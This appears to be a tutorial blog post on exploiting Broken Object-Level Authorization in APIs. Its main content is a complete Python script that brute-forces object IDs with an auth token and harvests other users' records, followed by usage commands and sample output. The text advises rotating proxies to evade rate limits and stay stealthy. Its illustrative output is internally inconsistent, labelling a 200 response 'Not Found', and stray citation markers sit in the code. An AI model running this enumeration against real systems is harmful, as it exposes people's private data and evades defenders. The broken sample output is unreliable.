Exploiting Broken Object-Level Authorization (BOLA) in APIs with a Custom Python Script

Exploiting Broken Object-Level Authorization (BOLA) in APIs with a Custom Python Script

Broken Object-Level Authorization (BOLA), also frequently known as Insecure Direct Object Reference (IDOR), is the #1 API security risk according to OWASP API Security Top 10 2023. This critical vulnerability arises when an API endpoint accepts an object identifier but fails to properly verify if the authenticated user has permission to access or manipulate that specific object. Attackers can exploit this by simply changing the object ID in a request to access unauthorized resources, potentially leading to sensitive data exposure, account takeovers, or data manipulation. Our focus here is on crafting a Python script to systematically identify and exploit such flaws.

Identifying BOLA Vulnerabilities

Uncovering BOLA requires meticulous examination of API traffic. The initial step often involves thorough reconnaissance to map out exposed services and their endpoints. Tools like Zondex can be instrumental in discovering internet-facing API assets, providing a clearer picture of the attack surface. Once endpoints are identified, manual inspection with a proxy, such as Burp Suite or OWASP ZAP, is crucial. Look for API requests that include object identifiers in their path, query parameters, or request body. These identifiers can be sequential integers (e.g., `/users/123`), UUIDs, email addresses, or other predictable strings. For instance, if you, as `User A`, make a request like `GET /api/v1/user/1001/profile` and receive your profile data, the immediate test is to modify that `1001` to `1002`, `1003`, or even common admin IDs. If the API returns data for `User B` without proper authorization checks, a BOLA vulnerability exists. This bypass of authorization at the object level, even after successful user authentication, is the core of the issue.

The Anatomy of a BOLA Exploit

The exploitation strategy for BOLA revolves around iterating through object identifiers. After identifying a vulnerable endpoint and a valid object ID, an attacker systematically attempts to access other objects by modifying the ID. This can involve:
  • **Sequential IDs:** Simply incrementing or decrementing numerical IDs.
  • **UUIDs/GUIDs:** While harder to guess, sometimes partial UUIDs or predictable patterns can be found, or a lack of enforcement might allow any valid UUID format to be accepted, revealing data.
  • **Other Identifiers:** Email addresses, usernames, or other unique strings that, if manipulated, expose other users' data.
The key is to observe the server's response. A successful exploit might yield a `200 OK` status code with data belonging to another user, a change in data length, or simply a different response from what's expected for an unauthorized request (e.g., 403 Forbidden vs. 200 OK for unauthorized access). While automated scanners like Secably can detect some API misconfigurations, sophisticated BOLA vulnerabilities often require this kind of targeted, custom scripting and manual verification. During these assessments, especially when brute-forcing object IDs or testing a large range, routing traffic through various proxies using services like GProxy can help evade IP-based rate limiting and maintain a stealthy presence.

Custom Python Script for BOLA Exploitation

The following Python script leverages the `requests` library to automate the process of testing BOLA. It allows you to specify a base URL, an endpoint template (with `{id}` as a placeholder), a range of IDs to test, the HTTP method, and an authorization token.

import requests
import json
import argparse
from urllib.parse import urljoin

def bola_scanner(base_url, endpoint_template, method, auth_token, id_start, id_end, headers=None, verbose=False):
    """
    Scans for Broken Object-Level Authorization (BOLA) by iterating through object IDs.

    Args:
        base_url (str): The base URL of the API (e.g., "https://api.example.com").
        endpoint_template (str): The API endpoint path with '{id}' as a placeholder (e.g., "/users/{id}/profile").
        method (str): HTTP method (e.g., "GET", "PUT", "POST", "DELETE").
        auth_token (str): The authorization token (e.g., "Bearer YOUR_TOKEN").
        id_start (int): The starting integer ID to test.
        id_end (int): The ending integer ID to test.
        headers (dict, optional): Additional headers to include in the request. Defaults to None.
        verbose (bool): If True, print all responses. Defaults to False.
    """

    if not base_url.startswith('https://'):
        print("[WARNING] Using HTTP. Consider using HTTPS for secure communication.") #cite: 12

    session = requests.Session()
    session.headers.update({"Authorization": auth_token})
    if headers:
        session.headers.update(headers)

    print(f"[INFO] Starting BOLA scan on {base_url} with endpoint {endpoint_template} (IDs {id_start}-{id_end})")

    found_vulnerabilities = []

    for obj_id in range(id_start, id_end + 1):
        target_url = urljoin(base_url, endpoint_template.format(id=obj_id))
        
        try:
            response = session.request(method.upper(), target_url, timeout=5) #cite: 11
            
            status_code = response.status_code
            response_text = response.text
            content_length = len(response_text)

            if verbose:
                print(f"[*] ID: {obj_id}, Status: {status_code}, Length: {content_length}")
            
            # Identify potential BOLA based on status codes and content
            # A 200 OK often indicates access, even if unauthorized
            # A 403 Forbidden is expected for unauthorized, but 200 when it shouldn't be is key
            # Differentiate from 404 Not Found (object doesn't exist)
            
            if status_code == 200:
                print(f"[+] POTENTIAL BOLA: Accessible ID {obj_id} (Status: {status_code}, Length: {content_length})")
                found_vulnerabilities.append({
                    "id": obj_id,
                    "status_code": status_code,
                    "content_length": content_length,
                    "response_snippet": response_text[:500] + "..." if len(response_text) > 500 else response_text
                })
            elif status_code == 401: # Unauthorized - token issues
                print(f"[-] UNAUTHORIZED: ID {obj_id} (Status: {status_code}). Check token or authentication. Exiting.") #cite: 10
                break
            elif status_code == 403: # Forbidden - correct authorization enforcement
                if verbose:
                    print(f"[INFO] Forbidden access for ID {obj_id} (Status: {status_code}). Expected behavior.") #cite: 7
            elif status_code == 404: # Not Found - object doesn't exist
                if verbose:
                    print(f"[INFO] Not Found for ID {obj_id} (Status: {status_code}).") #cite: 10
            else:
                print(f"[?] UNEXPECTED STATUS: ID {obj_id} (Status: {status_code}, Length: {content_length})")
                found_vulnerabilities.append({
                    "id": obj_id,
                    "status_code": status_code,
                    "content_length": content_length,
                    "response_snippet": response_text[:500] + "..." if len(response_text) > 500 else response_text
                })

        except requests.exceptions.Timeout:
            print(f"[ERROR] Request to {target_url} timed out.") #cite: 11
        except requests.exceptions.RequestException as e:
            print(f"[ERROR] An error occurred while requesting {target_url}: {e}") #cite: 14

    print(f"\n[SUMMARY] Scan finished. Found {len(found_vulnerabilities)} potential BOLA vulnerabilities.")
    for vul in found_vulnerabilities:
        print(f"  - ID: {vul['id']}, Status: {vul['status_code']}, Length: {vul['content_length']}")
        if vul['status_code'] == 200: # Only show snippet for successful access
            print(f"    Response snippet: {vul['response_snippet']}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="BOLA (Broken Object-Level Authorization) API Scanner.")
    parser.add_argument("--base-url", required=True, help="Base URL of the API (e.g., https://api.example.com)")
    parser.add_argument("--endpoint", required=True, help="API endpoint template with {id} placeholder (e.g., /users/{id}/profile)")
    parser.add_argument("--method", default="GET", help="HTTP method (GET, POST, PUT, DELETE). Default: GET")
    parser.add_argument("--token", required=True, help="Authorization token (e.g., Bearer YOUR_JWT_TOKEN or YOUR_API_KEY)")
    parser.add_argument("--id-start", type=int, default=1, help="Starting integer ID for brute-force. Default: 1")
    parser.add_argument("--id-end", type=int, default=100, help="Ending integer ID for brute-force. Default: 100")
    parser.add_argument("--verbose", action="store_true", help="Enable verbose output for all responses")
    
    args = parser.parse_args()

    # Example of adding custom headers (e.g., Content-Type for POST/PUT)
    # custom_headers = {"Content-Type": "application/json"} 
    custom_headers = {} 

    bola_scanner(
        base_url=args.base_url,
        endpoint_template=args.endpoint,
        method=args.method,
        auth_token=args.token,
        id_start=args.id_start,
        id_end=args.id_end,
        headers=custom_headers,
        verbose=args.verbose
    )

Running the Script

To use this script, save it as `bola_scanner.py`. Ensure you have the `requests` library installed (`pip install requests`). Example usage: Consider a hypothetical API where authenticated users can view their orders via `/api/v1/orders/{order_id}`. A legitimate user might see `GET /api/v1/orders/7891`. We want to see if changing `7891` to `7892` or `7890` grants access to another user's order. First, obtain a valid authentication token. This usually comes from logging into the application and capturing the `Authorization` header from a legitimate request using a proxy. ```bash python bola_scanner.py \ --base-url "https://api.example.com" \ --endpoint "/api/v1/orders/{id}" \ --method "GET" \ --token "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ --id-start 7880 \ --id-end 7900 \ --verbose ``` **Expected Output (Illustrative):** ``` [INFO] Starting BOLA scan on https://api.example.com with endpoint /api/v1/orders/{id} (IDs 7880-7900) [*] ID: 7880, Status: 403, Length: 23 [INFO] Forbidden access for ID 7880 (Status: 403). Expected behavior. [*] ID: 7881, Status: 403, Length: 23 [INFO] Forbidden access for ID 7881 (Status: 403). Expected behavior. ... [*] ID: 7890, Status: 200, Length: 512 [+] POTENTIAL BOLA: Accessible ID 7890 (Status: 200, Length: 512) Response snippet: {"order_id": 7890, "customer_name": "Jane Doe", "items": [{"product": "Widget Y", "qty": 1}], "total": 49.99}... [*] ID: 7891, Status: 200, Length: 480 [INFO] Not Found for ID 7891 (Status: 200). (This would be *your* legitimate ID, showing valid access) [*] ID: 7892, Status: 200, Length: 530 [+] POTENTIAL BOLA: Accessible ID 7892 (Status: 200, Length: 530) Response snippet: {"order_id": 7892, "customer_name": "John Smith", "items": [{"product": "Gadget Z", "qty": 2}], "total": 99.98}... ... [SUMMARY] Scan finished. Found 2 potential BOLA vulnerabilities. - ID: 7890, Status: 200, Length: 512 Response snippet: {"order_id": 7890, "customer_name": "Jane Doe", "items": [{"product": "Widget Y", "qty": 1}], "total": 49.99}... - ID: 7892, Status: 200, Length: 530 Response snippet: {"order_id": 7892, "customer_name": "John Smith", "items": [{"product": "Gadget Z", "qty": 2}], "total": 99.98}... ``` In this output, the script flags `ID 7890` and `ID 7892` as potentially vulnerable because they returned a `200 OK` status with data, indicating successful access to objects that likely don't belong to the authenticated user. This contrasts with `ID 7880` and `7881` which correctly returned `403 Forbidden`.

Beyond Simple ID Incrementation

Real-world BOLA exploitation can involve more complex scenarios: * **GraphQL APIs:** BOLA in GraphQL often involves manipulating object IDs within queries or mutations. * **Body Parameters:** Identifiers are not always in the URL; they can be within the JSON or XML body of `POST` or `PUT` requests. The script can be modified to accept a `data` parameter and format it, replacing the `{id}` placeholder within the payload. * **Different Response Indicators:** Sometimes, a `200 OK` might return a generic error message, but a subtle difference in content length or a specific error code within the JSON response (rather than HTTP status) could indicate BOLA. Careful analysis of responses is always required. * **Combined with other vulnerabilities:** BOLA can be combined with excessive data exposure to create a potent Proof of Concept, capturing sensitive information. Implementing robust, object-level authorization checks on every API request is paramount to preventing BOLA. Developers must ensure that not only is a user authenticated, but they are also explicitly authorized to interact with the *specific* object referenced in the request.